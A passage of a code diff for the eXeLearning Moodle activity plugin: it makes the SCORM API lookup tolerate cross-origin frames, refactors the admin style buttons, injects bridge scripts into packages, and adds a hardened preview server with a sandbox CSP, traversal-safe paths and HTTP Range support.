         return;
     }
 
+    // Close any promoted media player floating on the trusted page. The
+    // external-media relay opens YouTube/Vimeo in a top-layer <dialog>; it must
+    // not stay above the editor overlay we are about to open.
+    if (window.exeMediaHost && typeof window.exeMediaHost.closeAll === 'function') {
+        window.exeMediaHost.closeAll();
+    }
+
     editorOrigin = getOrigin(editorUrl);
     openAttemptCount = 0;
     session = {
diff --git a/assets/scorm/SCORM_API_wrapper.js b/assets/scorm/SCORM_API_wrapper.js
index 6ea6c37..29459fa 100644
--- a/assets/scorm/SCORM_API_wrapper.js
+++ b/assets/scorm/SCORM_API_wrapper.js
@@ -133,12 +133,35 @@ pipwerks.SCORM.API.get = function () {
     find = pipwerks.SCORM.API.find,
     trace = pipwerks.UTILS.trace;
 
-  if (win.parent && win.parent != win) {
-    API = find(win.parent);
+  // Check the CURRENT window's frame hierarchy first (standard pipwerks order). In
+  // the secure (opaque-origin) package mode the SCORM API is provided locally by the
+  // in-iframe bridge shim (js/scorm_bridge_shim.js, DEC-80-01) as window.API, and the
+  // Moodle parent is a cross-origin/opaque frame that throws SecurityError on access.
+  // Starting at win.parent (as the prior build did) made init() throw there and the
+  // connection never went active, so no score was ever saved in secure mode. find(win)
+  // returns the local API when present and otherwise walks up same-origin ancestors,
+  // which keeps the legacy same-origin mode (API hosted by the Moodle parent) working.
+  // Every cross-origin hop is wrapped so an opaque ancestor can never abort lookup.
+  try {
+    API = find(win);
+  } catch (e) {
+    trace("API.get: find(window) threw: " + e);
+  }
+
+  if (!API && win.parent && win.parent != win) {
+    try {
+      API = find(win.parent);
+    } catch (e) {
+      trace("API.get: find(parent) blocked (cross-origin): " + e);
+    }
   }
 
-  if (!API && win.top.opener) {
-    API = find(win.top.opener);
+  try {
+    if (!API && win.top && win.top.opener) {
+      API = find(win.top.opener);
+    }
+  } catch (e) {
+    trace("API.get: find(opener) blocked: " + e);
   }
 
   if (API) {
diff --git a/blueprint.json b/blueprint.json
index 21fe9ec..4f9bd90 100644
--- a/blueprint.json
+++ b/blueprint.json
@@ -1,6 +1,9 @@
 {
   "$schema": "https://raw.githubusercontent.com/ateeducacion/moodle-playground/refs/heads/main/assets/blueprints/blueprint-schema.json",
   "preferredVersions": { "php": "8.3", "moodle": "5.0" },
+  "phpConstants": {
+    "EXELEARNING_UNSAFE_LEGACY_IFRAME": true
+  },
   "landingPage": "/course/view.php?id=2",
   "constants": {
     "REPO": "exelearning/moodle-mod_exelearning",
@@ -39,6 +42,7 @@
     },
     {
       "step": "setConfigs",
+      "comment": "Playground-only display/debug config. The opaque-iframe escape hatch is enabled separately via the top-level phpConstants (EXELEARNING_UNSAFE_LEGACY_IFRAME): the Playground's php-wasm service worker only serves same-origin documents, so secure mode would only show the 'blocked by security configuration' notice. Real Moodle keeps the secure default and never defines that constant.",
       "configs": [
         { "name": "editormode",   "value": "embedded",      "plugin": "exelearning" },
         { "name": "display",      "value": "1",             "plugin": "exelearning" },
diff --git a/classes/admin/admin_setting_stylesbuiltins.php b/classes/admin/admin_setting_stylesbuiltins.php
index 70584f7..ecb5f70 100644
--- a/classes/admin/admin_setting_stylesbuiltins.php
+++ b/classes/admin/admin_setting_stylesbuiltins.php
@@ -111,9 +111,10 @@ public function output_html($data, $query = '') {
                 : get_string('stylesenable', 'mod_exelearning');
             $toggleaction = $isenabled ? 'disablebuiltin' : 'enablebuiltin';
 
-            $togglelink = $this->action_link(
+            $togglelink = styles_action_button::link(
                 $baseurl,
                 $toggleaction,
+                'id',
                 $id,
                 $togglelabel,
                 $isenabled ? 'btn-secondary' : 'btn-success'
@@ -145,33 +146,4 @@ public function output_html($data, $query = '') {
             $query
         );
     }
-
-    /**
-     * Build a single toggle action as a sesskey-protected link styled as a button.
-     *
-     * Rendered as a link rather than an inline <form>: this setting is shown inside the
-     * admin settings page, which already wraps every setting in one <form>. A nested
-     * <form> is invalid HTML and leaks its own action/sesskey hidden fields into the
-     * outer form's submission, so the page's "Save changes" posts action=disablebuiltin
-     * instead of action=save-settings and silently saves nothing. styles.php accepts the
-     * toggle over GET (optional_param + confirm_sesskey), the same pattern Moodle core
-     * uses to enable/disable plugins.
-     *
-     * @param \moodle_url $baseurl
-     * @param string $action
-     * @param string $id
-     * @param string $label
-     * @param string $btnclass
-     * @return string
-     */
-    private function action_link(
-        \moodle_url $baseurl,
-        string $action,
-        string $id,
-        string $label,
-        string $btnclass
-    ): string {
-        $url = new \moodle_url($baseurl, ['action' => $action, 'id' => $id, 'sesskey' => sesskey()]);
-        return \html_writer::link($url, $label, ['class' => 'btn btn-sm ' . $btnclass, 'role' => 'button']);
-    }
 }
diff --git a/classes/admin/admin_setting_stylesuploaded.php b/classes/admin/admin_setting_stylesuploaded.php
index e98f495..12aa068 100644
--- a/classes/admin/admin_setting_stylesuploaded.php
+++ b/classes/admin/admin_setting_stylesuploaded.php
@@ -110,16 +110,18 @@ public function output_html($data, $query = '') {
                 : get_string('stylesenable', 'mod_exelearning');
             $toggleaction = $enabled ? 'disable' : 'enable';
 
-            $togglelink = $this->action_link(
+            $togglelink = styles_action_button::link(
                 $baseurl,
                 $toggleaction,
+                'slug',
                 $slug,
                 $togglelabel,
                 $enabled ? 'btn-secondary' : 'btn-success'
             );
-            $deletelink = $this->action_link(
+            $deletelink = styles_action_button::link(
                 $baseurl,
                 'delete',
+                'slug',
                 $slug,
                 get_string('stylesdelete', 'mod_exelearning'),
                 'btn-danger'
@@ -152,33 +154,4 @@ public function output_html($data, $query = '') {
             $query
         );
     }
-
-    /**
-     * Build a single action as a sesskey-protected link styled as a button.
-     *
-     * Rendered as a link rather than an inline <form>: this setting appears inside the
-     * admin settings page, which already wraps every setting in one <form>. A nested
-     * <form> is invalid HTML and leaks its action/sesskey hidden fields into the outer
-     * form's submission, so the page's "Save changes" posts the nested action (e.g.
-     * delete) instead of action=save-settings and silently saves nothing. styles.php
-     * accepts these actions over GET (optional_param + confirm_sesskey); the destructive
-     * delete is confirmed server-side there, so a prefetch cannot destroy data.
-     *
-     * @param \moodle_url $baseurl
-     * @param string $action
-     * @param string $slug
-     * @param string $label
-     * @param string $btnclass
-     * @return string
-     */
-    private function action_link(
-        \moodle_url $baseurl,
-        string $action,
-        string $slug,
-        string $label,
-        string $btnclass
-    ): string {
-        $url = new \moodle_url($baseurl, ['action' => $action, 'slug' => $slug, 'sesskey' => sesskey()]);
-        return \html_writer::link($url, $label, ['class' => 'btn btn-sm ' . $btnclass, 'role' => 'button']);
-    }
 }
diff --git a/classes/admin/styles_action_button.php b/classes/admin/styles_action_button.php
new file mode 100644
index 0000000..5a6c5a3
--- /dev/null
+++ b/classes/admin/styles_action_button.php
@@ -0,0 +1,63 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Shared renderer for the styles-management admin action buttons.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+
+namespace mod_exelearning\admin;
+
+/**
+ * Builds a styles-management action (enable/disable/delete) as a sesskey-protected link
+ * styled as a button.
+ *
+ * Shared by admin_setting_stylesbuiltins and admin_setting_stylesuploaded, which render
+ * the action as a link rather than an inline <form>: these settings appear inside the
+ * admin settings page, which already wraps every setting in one <form>. A nested <form>
+ * is invalid HTML and leaks its action/sesskey hidden fields into the outer form's
+ * submission, so the page's "Save changes" posts the nested action (e.g. delete) instead
+ * of action=save-settings and silently saves nothing. styles.php accepts these actions
+ * over GET (optional_param + confirm_sesskey); the destructive delete is confirmed
+ * server-side there, so a prefetch cannot destroy data.
+ */
+final class styles_action_button {
+    /**
+     * Build a single action as a sesskey-protected link styled as a button.
+     *
+     * @param \moodle_url $baseurl  The styles.php base URL.
+     * @param string $action        The action (enable/disable/enablebuiltin/disablebuiltin/delete).
+     * @param string $idkey         The query parameter name carrying the identifier ('id' or 'slug').
+     * @param string $idval         The identifier value.
+     * @param string $label         The button label.
+     * @param string $btnclass      The Bootstrap button modifier class (e.g. 'btn-danger').
+     * @return string
+     */
+    public static function link(
+        \moodle_url $baseurl,
+        string $action,
+        string $idkey,
+        string $idval,
+        string $label,
+        string $btnclass
+    ): string {
+        $url = new \moodle_url($baseurl, ['action' => $action, $idkey => $idval, 'sesskey' => sesskey()]);
+        return \html_writer::link($url, $label, ['class' => 'btn btn-sm ' . $btnclass, 'role' => 'button']);
+    }
+}
diff --git a/classes/local/package_manager.php b/classes/local/package_manager.php
index 1639a4b..ad78fd4 100644
--- a/classes/local/package_manager.php
+++ b/classes/local/package_manager.php
@@ -240,25 +240,48 @@ public static function extract_stored(int $contextid, int $revision): void {
             1
         );
 
-        // 5) If the package (web export) does not include libs/SCORM_API_wrapper.js,
-        // inject it from the plugin's assets/ directory. eXeLearning v4 only bundles
-        // this wrapper in the SCORM export; without it, gradable iDevices display
-        // "this page is not part of a SCORM package".
-        foreach (['SCORM_API_wrapper.js', 'SCOFunctions.js'] as $shimname) {
+        // 5) Ensure the SCORM client assets live under libs/ of the extracted package.
+        // The vendored pipwerks wrapper + SCOFunctions are copied only when the export
+        // does not already bundle them: eXeLearning v4 bundles them in the SCORM export
+        // but not in the web/elpx export, and without them gradable iDevices show "this
+        // page is not part of a SCORM package". A bundled copy is never overwritten
+        // ($refresh = false). The bridge client (scorm_tracker + exe_scorm_bridge) powers
+        // the secure opaque-origin iframe mode (DEC-80-01); it runs INSIDE the iframe so it
+        // must be served from the package, and being plugin-owned it is refreshed on every
+        // extract so a shim update reaches existing packages ($refresh = true).
+        $clientassets = [
+            ['SCORM_API_wrapper.js', __DIR__ . '/../../assets/scorm/SCORM_API_wrapper.js', false],
+            ['SCOFunctions.js', __DIR__ . '/../../assets/scorm/SCOFunctions.js', false],
+            ['scorm_tracker.js', __DIR__ . '/../../js/scorm_tracker.js', true],
+            ['exe_scorm_bridge.js', __DIR__ . '/../../js/scorm_bridge_shim.js', true],
+            // External-media CHILD bundle, vendored from eXeLearning core and verified
+            // against its manifest (eXe ADR-2199-12). Promotes whitelisted/PDF iframes to the
+            // parent in secure mode and carries the media bridge the interactive-video
+            // iDevice drives; dormant until the parent host answers its handshake, so a
+            // package served without one is left exactly as authored (eXe ADR-2199-08).
+            // Plugin-owned, refreshed on every extract, so a re-vendor reaches existing
+            // packages. Keeps the historical filename: the injected <script> tag lives in
+            // packages that were extracted before this change.
+            ['exe_embed_shim.js', __DIR__ . '/../../js/exe_external_media/exe-external-media-child.min.js', true],
+        ];
+        foreach ($clientassets as $asset) {
+            [$destname, $assetpath, $refresh] = $asset;
+            if (!is_file($assetpath)) {
+                continue;
+            }
             $present = $fs->get_file(
                 $context->id,
                 'mod_exelearning',
                 'content',
                 (int) $data->revision,
                 '/libs/',
-                $shimname
+                $destname
             );
             if ($present) {
-                continue;
-            }
-            $assetpath = __DIR__ . '/../../assets/scorm/' . $shimname;
-            if (!is_file($assetpath)) {
-                continue;
+                if (!$refresh) {
+                    continue;
+                }
+                $present->delete();
             }
             $fs->create_file_from_pathname([
                 'contextid' => $context->id,
@@ -266,7 +289,7 @@ public static function extract_stored(int $contextid, int $revision): void {
                 'filearea'  => 'content',
                 'itemid'    => (int) $data->revision,
                 'filepath'  => '/libs/',
-                'filename'  => $shimname,
+                'filename'  => $destname,
             ], $assetpath);
         }
 
diff --git a/classes/local/preview/serving.php b/classes/local/preview/serving.php
new file mode 100644
index 0000000..75d983d
--- /dev/null
+++ b/classes/local/preview/serving.php
@@ -0,0 +1,532 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+/**
+ * Response layer for the opaque editor preview.
+ *
+ * This class is the Moodle mirror of eXeLearning core's
+ * src/services/preview-serving.ts. It owns everything that must stay
+ * byte-identical to core so the two can never drift:
+ *
+ * - the sandbox-first Content-Security-Policy ({@see self::csp_header()},
+ *   byte-identical to previewCspHeader());
+ * - traversal-safe path normalization and MIME/charset resolution
+ *   ({@see self::normalize_content_path()}, {@see self::content_type_for()});
+ * - the tiered serving response (scriptable documents no-store, everything else
+ *   no-cache + ETag + Range; the sandbox CSP on every scriptable type;
+ *   hardening headers on every response including 404s).
+ *
+ * The layered protocol-v2 helpers that used to live here — create-session,
+ * two-stage asset upload, revision publication — went with the store they
+ * served: the editor sends one whole snapshot per refresh, so there is no
+ * protocol left to negotiate.
+ *
+ * preview.php is a thin HTTP adapter over this: it parses the capability URL,
+ * calls {@see self::serve()} and emits the result.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ */
+class serving {
+    /**
+     * previewId capability shape (server-minted UUID). Case-insensitive to match
+     * core UUID_RE; \core\uuid::generate() emits lowercase.
+     *
+     * @var string
+     */
+    const UUID_RE = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i';
+
+    /**
+     * Content-map MIME table, byte-identical to core src/utils/mime-types.ts.
+     *
+     * @var array<string,string>
+     */
+    const MIME_TYPES = [
+        'js' => 'application/javascript',
+        'mjs' => 'application/javascript',
+        'css' => 'text/css',
+        'json' => 'application/json',
+        'html' => 'text/html',
+        'htm' => 'text/html',
+        'xml' => 'application/xml',
+        'txt' => 'text/plain',
+        'png' => 'image/png',
+        'jpg' => 'image/jpeg',
+        'jpeg' => 'image/jpeg',
+        'gif' => 'image/gif',
+        'svg' => 'image/svg+xml',
+        'ico' => 'image/x-icon',
+        'webp' => 'image/webp',
+        'woff' => 'font/woff',
+        'woff2' => 'font/woff2',
+        'ttf' => 'font/ttf',
+        'eot' => 'application/vnd.ms-fontobject',
+        'mp3' => 'audio/mpeg',
+        'mp4' => 'video/mp4',
+        'webm' => 'video/webm',
+        'ogg' => 'audio/ogg',
+        'pdf' => 'application/pdf',
+        'zip' => 'application/zip',
+    ];
+
+    /**
+     * The sandbox-first preview CSP. MUST stay byte-identical to eXe core
+     * previewCspHeader() (src/shared/security/previewSandbox.ts): a single line,
+     * directives joined by "; ", no trailing ";". The sandbox tokens are hardcoded
+     * to allow-scripts allow-popups allow-forms (== PREVIEW_SANDBOX): the preview
+     * is ALWAYS opaque and must NOT inherit the published-content escape hatch
+     * (player_iframe::sandbox_tokens() can add allow-same-origin under the dev-only
+     * legacy hatch, which would defeat opacity — never reuse it here).
+     *
+     * @return string
+     */
+    public static function csp_header(): string {
+        return implode('; ', [
+            'sandbox allow-scripts allow-popups allow-forms',
+            "default-src 'self'",
+            "script-src 'self' 'unsafe-inline' 'unsafe-eval'",
+            "style-src 'self' 'unsafe-inline'",
+            "img-src 'self' data: blob: https:",
+            "media-src 'self' data: blob: https:",
+            "font-src 'self' data:",
+            "connect-src 'self'",
+            "frame-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com",
+            "child-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com",
+            "object-src 'none'",
+            "base-uri 'none'",
+            "form-action 'self'",
+            "frame-ancestors 'self'",
+        ]);
+    }
+
+    /**
+     * Permissions-Policy value for every preview response (== previewPermissionsPolicy();
+     * the 4-feature preview value, NOT the published-content superset).
+     *
+     * @return string
+     */
+    public static function permissions_policy(): string {
+        return implode(', ', ['camera=()', 'microphone=()', 'geolocation=()', 'payment=()']);
+    }
+
+    /**
+     * Hardening headers applied to EVERY serving response, 404s included.
+     * Cache-Control is NOT here — it is tiered per resolution layer by the caller.
+     * Access-Control-Allow-Origin: * is safe on this authless, cookieless route
+     * (never pair it with Access-Control-Allow-Credentials).
+     *
+     * @return array<string,string>
+     */
+    public static function base_headers(): array {
+        return [
+            'X-Content-Type-Options' => 'nosniff',
+            'Referrer-Policy' => 'no-referrer',
+            'Permissions-Policy' => self::permissions_policy(),
+            'Access-Control-Allow-Origin' => '*',
+        ];
+    }
+
+    /**
+     * Scriptable document types that MUST carry the sandbox CSP. Not just
+     * text/html: an author-supplied image/svg+xml (or XML) runs its inline
+     * <script> same-origin when opened top-level, so those get the CSP too
+     * (nosniff does not help — SVG is already a scriptable document type).
+     *
+     * @param string $mime
+     * @return bool
+     */
+    public static function is_scriptable(string $mime): bool {
+        $base = strtolower(trim(explode(';', $mime)[0]));
+        return $base === 'text/html'
+            || $base === 'image/svg+xml'
+            || $base === 'application/xml'
+            || $base === 'text/xml'
+            || $base === 'application/xhtml+xml';
+    }
+
+    /**
+     * Resolve the Content-Type for a content-map path, appending a UTF-8 charset
+     * to textual types so responses paired with nosniff stay strict and readable.
+     * Byte-identical to core contentTypeFor().
+     *
+     * @param string $path Normalized served path.
+     * @return string
+     */
+    public static function content_type_for(string $path): string {
+        $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
+        $contenttype = self::MIME_TYPES[$ext] ?? 'application/octet-stream';
+        $istextual = strpos($contenttype, 'text/') === 0
+            || in_array($ext, ['js', 'mjs', 'json', 'svg', 'xml'], true);
+        if ($istextual && strpos($contenttype, 'charset') === false) {
+            $contenttype .= '; charset=utf-8';
+        }
+        return $contenttype;
+    }
+
+    /**
+     * Normalize a requested relative path against a content-map root. Returns a
+     * safe, root-relative POSIX path, or null when the request escapes the root
+     * (traversal, encoded or literal), contains a NUL byte, or carries malformed
+     * percent-encoding. Byte-for-byte behaviour of core normalizeContentPath().
+     *
+     * @param string $relpath
+     * @return string|null
+     */
+    public static function normalize_content_path(string $relpath): ?string {
+        $path = explode('?', $relpath, 2)[0];
+        $path = explode('#', $path, 2)[0];
+        // JS decodeURIComponent throws on malformed percent-encoding; mirror that.
+        if (preg_match('/%(?![0-9A-Fa-f]{2})/', $path)) {
+            return null;
+        }
+        $path = rawurldecode($path);
+        // JS decodeURIComponent also throws on percent-sequences that decode to
+        // invalid UTF-8 (overlong forms like %C0%AF, lone continuation bytes,
+        // lone surrogates); reject those too so an overlong-encoded separator
+        // cannot slip through as raw bytes.
+        if (mb_check_encoding($path, 'UTF-8') === false) {
+            return null;
+        }
+        // Backslashes are literal (not separators) in the content map; a NUL is invalid.
+        if (strpos($path, "\0") !== false) {
+            return null;
+        }
+        $path = preg_replace('#^/+#', '', $path);
+        if ($path === '') {
+            $path = 'index.html';
+        }
+        $norm = self::posix_normalize($path);
+        if ($norm === '..' || strncmp($norm, '../', 3) === 0 || strncmp($norm, '/', 1) === 0) {
+            return null;
+        }
+        return $norm;
+    }
+
+    /**
+     * Collapse '.' and '..' segments without touching the filesystem (a PHP
+     * equivalent of Node's path.posix.normalize for the cases we accept).
+     *
+     * @param string $path
+     * @return string
+     */
+    private static function posix_normalize(string $path): string {
+        $isabsolute = strncmp($path, '/', 1) === 0;
+        $stack = [];
+        foreach (explode('/', $path) as $segment) {
+            if ($segment === '' || $segment === '.') {
+                continue;
+            }
+            if ($segment === '..') {
+                if (!empty($stack) && end($stack) !== '..') {
+                    array_pop($stack);
+                } else if (!$isabsolute) {
+                    $stack[] = '..';
+                }
+                continue;
+            }
+            $stack[] = $segment;
+        }
+        $result = implode('/', $stack);
+        if ($isabsolute) {
+            $result = '/' . $result;
+        }
+        if ($result === '') {
+            $result = $isabsolute ? '/' : '.';
+        }
+        return $result;
+    }
+
+    /**
+     * Parse a single-range Range header against a body of $totalsize bytes.
+     *
+     * Returns null when no usable range applies — no header at all, OR a header
+     * that is ignored per RFC 9110: a non-"bytes" unit, a multi-range set,
+     * unparseable garbage, or an invalid spec whose last-byte-pos is below its
+     * first-byte-pos (e.g. bytes=5-2). All of those are served as a normal 200
+     * full response (an ignored Range is NOT a 416). Returns ['start'=>int,
+     * 'end'=>int] for a satisfiable inclusive window (206), or the string
+     * 'unsatisfiable' (416) for a syntactically VALID single range that cannot be
+     * satisfied against this body: first-byte-pos >= length, or a zero/empty suffix.
+     *
+     * @param string|null $value
+     * @param int $totalsize
+     * @return array{start:int,end:int}|string|null
+     */
+    public static function parse_range(?string $value, int $totalsize) {
+        if ($value === null || $value === '') {
+            return null;
+        }
+        // Malformed grammar, a multi-range set (comma), or a non-"bytes" unit is
+        // ignored: RFC 7233 says an unparsable Range must be treated as absent
+        // (serve the full 200), never as unsatisfiable.
+        if (!preg_match('/^bytes=(\d*)-(\d*)$/', trim($value), $match)) {
+            return null;
+        }
+        $rawstart = $match[1];
+        $rawend = $match[2];
+        // A "bytes=-" header carries neither a position nor a suffix: malformed, ignore.
+        if ($rawstart === '' && $rawend === '') {
+            return null;
+        }
+        if ($rawstart === '') {
+            $suffix = (int) $rawend;
+            if ($suffix === 0 || $totalsize === 0) {
+                return 'unsatisfiable';
+            }
+            return ['start' => max(0, $totalsize - $suffix), 'end' => $totalsize - 1];
+        }
+        $start = (int) $rawstart;
+        if ($rawend === '') {
+            // Open-ended range: satisfiable iff the first-byte-pos is within the body.
+            return ($start >= $totalsize) ? 'unsatisfiable' : ['start' => $start, 'end' => $totalsize - 1];
+        }
+        $end = (int) $rawend;
+        // Structural validity is checked BEFORE satisfiability: an inverted spec
+        // (last-byte-pos < first-byte-pos, e.g. bytes=15-2) is an invalid
+        // byte-range-spec per RFC 9110, so the header is ignored (200 full) — even
+        // when the first-byte-pos is also beyond the body, which alone would 416.
+        if ($end < $start) {
+            return null;
+        }
+        if ($start >= $totalsize) {
+            return 'unsatisfiable';
+        }
+        return ['start' => $start, 'end' => min($end, $totalsize - 1)];
+    }
+
+    /**
+     * Loose If-None-Match evaluation: any listed entity tag (or *) matches.
+     *
+     * @param string|null $headervalue
+     * @param string $etag
+     * @return bool
+     */
+    public static function if_none_match_matches(?string $headervalue, string $etag): bool {
+        if ($headervalue === null || $headervalue === '') {
+            return false;
+        }
+        foreach (explode(',', $headervalue) as $candidate) {
+            $cleaned = preg_replace('/^W\//i', '', trim($candidate));
+            $cleaned = trim($cleaned, '"');
+            if ($cleaned === '*' || $cleaned === $etag) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * The 404 response (base hardening headers + no-store), returned for an
+     * invalid capability, an unknown/expired session, and an unresolved path.
+     *
+     * @return array{status:int,headers:array<string,string>,body:string}
+     */
+    public static function not_found(): array {
+        $headers = self::base_headers();
+        $headers['Cache-Control'] = 'no-store';
+        $headers['Content-Type'] = 'text/plain; charset=utf-8';
+        return ['status' => 404, 'headers' => $headers, 'body' => 'Not found'];
+    }
+
+    /**
+     * Split the capability URL tail "/{previewId}/{relpath}" into its parts. The
+     * bare form ("/{previewId}" or "/{previewId}/", i.e. an empty relpath) is
+     * flagged so the serving endpoint can 302-redirect it to index.html rather
+     * than serve document bytes from the bare URL (relative resources in the
+     * document resolve against the session directory, not the bare capability).
+     *
+     * @param string $arg The raw slash-argument tail (a leading slash is optional).
+     * @return array{previewid:string,relpath:string,bareroot:bool,trailingslash:bool}
+     */
+    public static function parse_capability_path(string $arg): array {
+        $arg = ltrim($arg, '/');
+        $trailingslash = ($arg !== '' && substr($arg, -1) === '/');
+        $slash = strpos($arg, '/');
+        $previewid = ($slash === false) ? $arg : substr($arg, 0, $slash);
+        $relpath = ($slash === false) ? '' : substr($arg, $slash + 1);
+        return [
+            'previewid' => $previewid,
+            'relpath' => $relpath,
+            'bareroot' => ($relpath === ''),
+            'trailingslash' => $trailingslash,
+        ];
+    }
+
+    /**
+     * The RELATIVE Location for the bare-root 302, resolved by the browser
+     * against the current request URL (so it stays correct under any BASE_PATH or
+     * the app:// origin — never hardcode the host). Without a trailing slash the
+     * previewId is the last path segment, so the target is `{previewId}/index.html`;
+     * with a trailing slash the request is already the session directory, so the
+     * target is just `index.html`.
+     *
+     * @param string $previewid
+     * @param bool $trailingslash Whether the requested bare URL ended with a slash.
+     * @return string
+     */
+    public static function bare_root_location(string $previewid, bool $trailingslash): string {
+        return $trailingslash ? 'index.html' : $previewid . '/index.html';
+    }
+
+    /**
+     * The 302 response for the bare capability root: redirect to the session's
+     * index.html so the opaque iframe's base URL is the session directory and no
+     * document bytes are ever served from the bare URL. Carries the base
+     * hardening headers + no-store, like every other serving response, and never
+     * a CSP (a redirect has no scriptable body).
+     *
+     * @param string $location Absolute URL of the session's index.html.
+     * @return array{status:int,headers:array<string,string>,body:string}
+     */
+    public static function redirect_to_index(string $location): array {
+        $headers = self::base_headers();
+        $headers['Cache-Control'] = 'no-store';
+        $headers['Location'] = $location;
+        return ['status' => 302, 'headers' => $headers, 'body' => ''];
+    }
+    /**
+     * Serve one file out of a snapshot.
+     *
+     * The sandbox CSP rides on every scriptable type. A document is rewritten on
+     * every opaque refresh so it is never cached; everything else revalidates
+     * cheaply and supports Range, which is what makes a video inside the snapshot
+     * seekable.
+     *
+     * Nothing is read until it is known what will be sent. A 304 carries no body
+     * and a range carries a slice, so reading up front would pull a whole video
+     * into memory to answer a conditional GET with nothing — repeatedly, because
+     * that is what scrubbing does. The ETag is built from identity rather than
+     * from hashing content, for the same reason.
+     *
+     * That identity includes the content directory's inode. Path plus mtime plus
+     * size is NOT enough on its own: mtime has one-second granularity, so an
+     * author who refreshes twice within the same second with an edit that keeps a
+     * file the same length (a colour in a stylesheet) would produce the same tag
+     * and the browser would keep serving the previous bytes. Every publish
+     * extracts into a fresh directory and renames it in, so the inode always
+     * turns over. Where a filesystem does not report one it reads 0 and the tag
+     * degrades to the mtime/size form — no worse than not including it.
+     *
+     * @param string $contentdir Absolute snapshot content directory.
+     * @param string $relpath The requested path (below the capability prefix).
+     * @param array $reqheaders Optional 'ifnonematch' and 'range' request-header values.
+     * @return array{status:int,headers:array<string,string>,body:string}
+     */
+    public static function serve(string $contentdir, string $relpath, array $reqheaders): array {
+        $file = self::resolve_file($contentdir, $relpath);
+        if ($file === null) {
+            return self::not_found();
+        }
+        $mime = self::content_type_for($file);
+
+        $headers = self::base_headers();
+        $headers['Content-Type'] = $mime;
+        if (self::is_scriptable($mime)) {
+            // Always sent whole, so this is the one tier that reads up front.
+            $bytes = file_get_contents($file);
+            if ($bytes === false) {
+                return self::not_found();
+            }
+            $headers['Content-Security-Policy'] = self::csp_header();
+            $headers['Cache-Control'] = 'no-store';
+            return ['status' => 200, 'headers' => $headers, 'body' => $bytes];
+        }
+
+        $total = (int) filesize($file);
+        $etag = sha1(
+            $relpath . '|' . (string) @fileinode($contentdir)
+                . '|' . (string) filemtime($file) . '|' . $total
+        );
+        $headers['Cache-Control'] = 'no-cache';
+        $headers['ETag'] = '"' . $etag . '"';
+        $headers['Accept-Ranges'] = 'bytes';
+        if (self::if_none_match_matches($reqheaders['ifnonematch'] ?? null, $etag)) {
+            return ['status' => 304, 'headers' => $headers, 'body' => ''];
+        }
+
+        $range = self::parse_range($reqheaders['range'] ?? null, $total);
+        if ($range === 'unsatisfiable') {
+            $headers['Content-Range'] = 'bytes */' . $total;
+            return ['status' => 416, 'headers' => $headers, 'body' => ''];
+        }
+        if (is_array($range)) {
+            $length = $range['end'] - $range['start'] + 1;
+            $body = self::read_slice($file, $range['start'], $length);
+            $headers['Content-Range'] = 'bytes ' . $range['start'] . '-' . $range['end'] . '/' . $total;
+            $headers['Content-Length'] = (string) strlen($body);
+            return ['status' => 206, 'headers' => $headers, 'body' => $body];
+        }
+        $bytes = file_get_contents($file);
+        if ($bytes === false) {
+            return self::not_found();
+        }
+        return ['status' => 200, 'headers' => $headers, 'body' => $bytes];
+    }
+
+    /**
+     * Read a byte window out of a file without loading the rest of it.
+     *
+     * @param string $file Absolute path.
+     * @param int $start First byte to read.
+     * @param int $length Number of bytes.
+     * @return string
+     */
+    private static function read_slice(string $file, int $start, int $length): string {
+        $handle = fopen($file, 'rb');
+        if ($handle === false) {
+            return '';
+        }
+        try {
+            if (fseek($handle, $start) !== 0) {
+                return '';
+            }
+            $data = fread($handle, $length);
+            return $data === false ? '' : $data;
+        } finally {
+            fclose($handle);
+        }
+    }
+
+    /**
+     * Resolve a request path to a real file inside the snapshot.
+     *
+     * normalize_content_path() already refuses traversal, but the result is
+     * joined to a real directory here and the resolved path confirmed to sit
+     * under the snapshot root, so a symlink cannot aim the response outside it.
+     *
+     * @param string $contentdir Absolute snapshot content directory.
+     * @param string $relpath Requested path.
+     * @return string|null Absolute file path, or null when it does not resolve.
+     */
+    private static function resolve_file(string $contentdir, string $relpath): ?string {
+        $norm = self::normalize_content_path($relpath);
+        if ($norm === null) {
+            return null;
+        }
+        $root = realpath($contentdir);
+        $real = realpath($contentdir . '/' . $norm);
+        if ($root === false || $real === false || !is_file($real)) {
+            return null;
+        }
+        if (strncmp($real, $root . DIRECTORY_SEPARATOR, strlen($root) + 1) !== 0) {
+            return null;
+        }
+        return $real;
+    }
+}
diff --git a/classes/local/preview/snapshot_store.php b/classes/local/preview/snapshot_store.php
new file mode 100644
index 0000000..34e136b
--- /dev/null
+++ b/classes/local/preview/snapshot_store.php
@@ -0,0 +1,370 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
